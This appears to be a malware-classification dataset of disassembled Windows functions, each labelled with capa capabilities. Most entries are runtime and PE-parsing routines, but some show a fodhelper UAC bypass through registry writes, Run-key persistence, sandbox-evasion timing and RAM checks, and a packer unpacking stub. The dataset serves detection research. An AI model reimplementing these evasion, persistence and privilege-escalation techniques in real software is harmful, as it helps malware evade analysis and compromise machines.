joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14009cef0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x14009cf60
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400d5234]
mov rbx, rcx
test esi, esi
jle 0x14009d090
mov rax, qword [0x1400d5238]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14009cfab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14009d035
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14009cf90
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x14009d0b2
mov rax, qword [0x1400d5238]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400d5238]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14009d097
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14009d02e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14009d040
add dword [0x1400d5234], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400d5238]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14009d02e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x14009cfb8
mov rax, qword [0x1400d5238]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14009d640
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400d52a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400d5280]
test rbx, rbx
je 0x14009d69c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14009d693
test eax, eax
jne 0x14009d693
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14009d678
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14009d8b0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x14009d8c8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x14009d8d0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x14009d8e0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14009d92d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x14009d924
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14009d92f
add rax, 0x28
cmp rax, r9
jne 0x14009d910
xor eax, eax
ret

Function at 0x14009d930
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x14009d9c0
mov rdx, qword [0x1400c2ae0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14009d9ae
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14009d9ae
cmp word [rax + 0x18], 0x20b
jne 0x14009d9ae
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x14009d9c0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x14009d999
add rbx, 0x28
cmp rbx, rdi
je 0x14009d9c0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x14009d990
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x14009d9d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c2ae0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14009d9f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14009d9f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14009d9f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14009da4d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14009da44
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14009d9f0
add rax, 0x28
cmp rax, r9
jne 0x14009da30
xor eax, eax
ret

Function at 0x14009da50
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c2ae0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14009da6f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14009da78
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14009da6f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x14009da90
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400c2ae0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x14009dab0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x14009dab8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x14009dab0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x14009db00
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x14009daf7
test rcx, rcx
je 0x14009dab0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x14009dae8
xor eax, eax
ret

Function at 0x14009db10
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c2ae0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14009db2f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14009db38
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x14009db50
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c2ae0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14009db70
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14009db78
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14009db70
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x14009db70
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x14009dbc4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14009dbd0
add rdx, 0x28
cmp rdx, r9
jne 0x14009dbb0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x14009dbe0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400c2ae0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x14009dc02
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x14009dc10
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14009dc02
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x14009dc02
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x14009dc02
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x14009dc65
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x14009dc78
add rdx, 0x28
cmp r10, rdx
jne 0x14009dc50
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x14009dc87
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x14009dc97
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14009dc6e
test ecx, ecx
jg 0x14009dc80
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400014ed
Capabilities:
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20006
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x140001586
mov rax, qword [rbp + 0x28]
mov rcx, rax
call sub.msvcrt.dll_strlen
lea ecx, [rax + 1]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rbp + 0x20]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rbp + 0x28]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x40
pop rbp
ret

Function at 0x1400016af
Capabilities:
Persist via run registry key

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rax, str.SoftwareClassesms_settingsShellOpencommand
mov qword [rbp - 8], rax
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rbp - 0x10], rax
lea rax, str.DelegateExecute
mov qword [rbp - 0x18], rax
lea rax, str.C:Users_testDesktop_boredprivileges_check.src
mov qword [rbp - 0x20], rax
lea rax, str.explorer.exe_C:WindowsSystem32_fodhelper.exe
mov qword [rbp - 0x28], rax
mov ecx, 0
call fcn.140001450
mov ecx, eax
call sub.msvcrt.dll_srand
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14000158d
mov rax, qword [rbp - 8]
mov rdx, rax
mov rcx, 0xffffffff80000001
call fcn.140001472
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
lea r9, [0x14000a0d7]
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000001
call fcn.1400014ed
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 8]
mov r9, rdx
lea r8, [0x14000a0d7]
mov rdx, rax
mov rcx, 0xffffffff80000001
call fcn.1400014ed
mov rcx, qword [rbp - 0x28]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000001
call fcn.1400014ed
mov eax, 0
add rsp, 0x60
pop rbp
ret

Function at 0x14000186e
Capabilities:
Get memory capacity

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp - 0x40], 0x40
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp - 0x38]
mov edx, 0xffffffff
cmp rdx, rax
jb 0x1400018bb
lea rax, str.Low_RAM_detected._Potential_sandbox._n
mov rcx, rax
call fcn.14000178c
mov eax, dword [0x14000e030]
add eax, 1
mov dword [0x14000e030], eax
jmp 0x1400018ca
lea rax, str.Sufficient_RAM_available._n
mov rcx, rax
call fcn.14000178c
nop
add rsp, 0x60
pop rbp
ret
Function at 0x1400018d1
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 4], eax
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
sub eax, dword [rbp - 4]
cmp eax, 0x7cf
ja 0x14000192c
lea rax, str.Sleep_was_skipped_or_shortened._Potential_sandbox._n
mov rcx, rax
call fcn.14000178c
mov eax, dword [0x14000e030]
add eax, 1
mov dword [0x14000e030], eax
jmp 0x14000193b
lea rax, str.Sleep_timing_is_normal._n
mov rcx, rax
call fcn.14000178c
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140001f30
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007d40
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007d40
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140001fa0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e0a4]
mov rbx, rcx
test esi, esi
jle 0x1400020d0
mov rax, qword [0x14000e0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001feb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002075
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001fd0
mov rcx, rbx
call fcn.140002a10
mov rdi, rax
test rax, rax
je 0x1400020f2
mov rax, qword [0x14000e0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002b50
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400020d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000206e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140002080
add dword [0x14000e0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000206e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001f30
nop dword [rax]
xor esi, esi
jmp 0x140001ff8
mov rax, qword [0x14000e0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001f30
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001f30
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140002680
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e0e0]
test rbx, rbx
je 0x1400026dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400026d3
test eax, eax
jne 0x1400026d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400026b8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002a10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000ab10]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002a30
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002a38
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002a30
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002a8d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002a84
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002a30
add rax, 0x28
cmp rax, r9
jne 0x140002a70
xor eax, eax
ret

Function at 0x140002a90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000ab10]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002aaf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002ab8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002aaf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002b50
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000ab10]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002b6f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002b78
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x47f050
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x47f05d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x47f06d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x47f055
lea eax, [rcx + 1]
jmp 0x47f07b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x47f08e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x47f074
sub eax, 3
jb 0x47f0ae
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x47f0fd
sar eax, 1
movsxd rbp, eax
jb 0x47f0e4
jmp 0x47f0bc
add ebx, ebx
jne 0x47f0ba
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x47f0e4
inc ecx
add ebx, ebx
jne 0x47f0ca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x47f0e4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x47f0dd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x47f0cc
add ecx, 2
jmp 0x47f0e9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.0047f012
jmp 0x47f05d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2200
mov dl, 2
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x47f149
cmp rsi, rcx
jae 0x47f151
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x47f130
cmp al, 0x8f
ja 0x47f130
cmp byte [rsi - 2], 0xf
je 0x47f136
sub al, 0xe8
cmp al, 1
ja 0x47f11a
cmp rsi, rcx
jae 0x47f151
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x47f120
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x47f151
lodsb al, byte [rsi]
jmp 0x47f130
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x7c000]
mov eax, dword [rdi]
or eax, eax
je 0x47f1ae
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xef96c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x47f15e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x47f1a8
mov qword [rbx], rax
add rbx, 8
jmp 0x47f17e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.0047f231], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.0047f231
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x47f221
sub rsp, 0xffffffffffffff80
jmp 0x4014c0
Function at 0x140003550
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1400035ad
lea rbx, [0x14009c960]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140003594
cmp r10, 2
jb 0x140003594
cmp byte [r9], r8b
jne 0x140003594
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140003570
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x1400035ef
lea rbx, [0x14009c960]
cmp r8b, 0x23
jne 0x1400035d3
cmp byte [r9], r8b
jne 0x1400035d3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x1400035c0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x1400037b0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rdi, r8
mov rbx, rcx
test rcx, rcx
jne 0x1400037df
mov r8d, 0x748
lea rdx, str.C:UsersUserDesktop_aclaritytipaimgui.cpp
lea rcx, str.filename__mode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
test rdi, rdi
je 0x1400037eb
mov qword [rdi], 0
lea rdx, [0x14009c208]
mov rcx, rbx
call fcn.140003600
mov rbx, rax
test rax, rax
jne 0x14000380d
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x1400038e4
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400038e4
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x1400038e4
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400038e4
cmp rsi, 0xffffffffffffffff
je 0x1400038e4
mov rax, qword [0x1400fa200]
test rax, rax
je 0x140003881
inc dword [rax + 0xf4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
je 0x1400038e4
mov r9, rbx
mov r8, rsi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rsi
je 0x1400038d1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1400fa200]
test rax, rax
je 0x1400038c6
dec dword [rax + 0xf4]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1400038ed
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rdi, rdi
je 0x1400038df
mov qword [rdi], rsi
mov rax, rbp
jmp 0x1400038ef
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400061a0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x10], edx
push rdi
sub rsp, 0x20
cmp dword [rcx + 0xd0], 0
mov rbx, rcx
movsxd rdi, edx
jg 0x1400061d7
mov r8d, 0x702
lea rdx, str.C:UsersUserDesktop_aclaritytipaimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0xd8]
lea rdx, [0x14009c960]
movsxd r8, dword [rbx + 0xd0]
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, dil
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x39]
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3a]
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3b]
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [rdx + rcx*4]
mov rcx, qword [0x1400fa200]
not ebx
cmp dword [rcx + 0x3ec4], ebx
jne 0x140006256
mov r8, rdi
mov edx, 4
mov ecx, ebx
call fcn.14001b630
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret